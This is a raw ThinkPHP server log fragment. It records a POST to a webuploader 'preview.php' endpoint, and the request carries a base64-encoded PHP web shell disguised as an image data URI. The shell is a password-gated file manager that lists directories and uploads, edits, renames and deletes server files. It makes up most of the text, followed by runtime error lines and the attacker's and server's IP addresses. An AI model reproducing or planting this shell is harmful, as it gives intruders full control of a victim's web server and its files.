'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugins' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:50+08:00 ] 119.42.146.234 POST 59.110.137.245/public/platform/js/webuploader/0.1.15/server/preview.php [运行时间:0.003118s] [吞吐率:320.74req/s] [内存消耗:196.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'platform', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 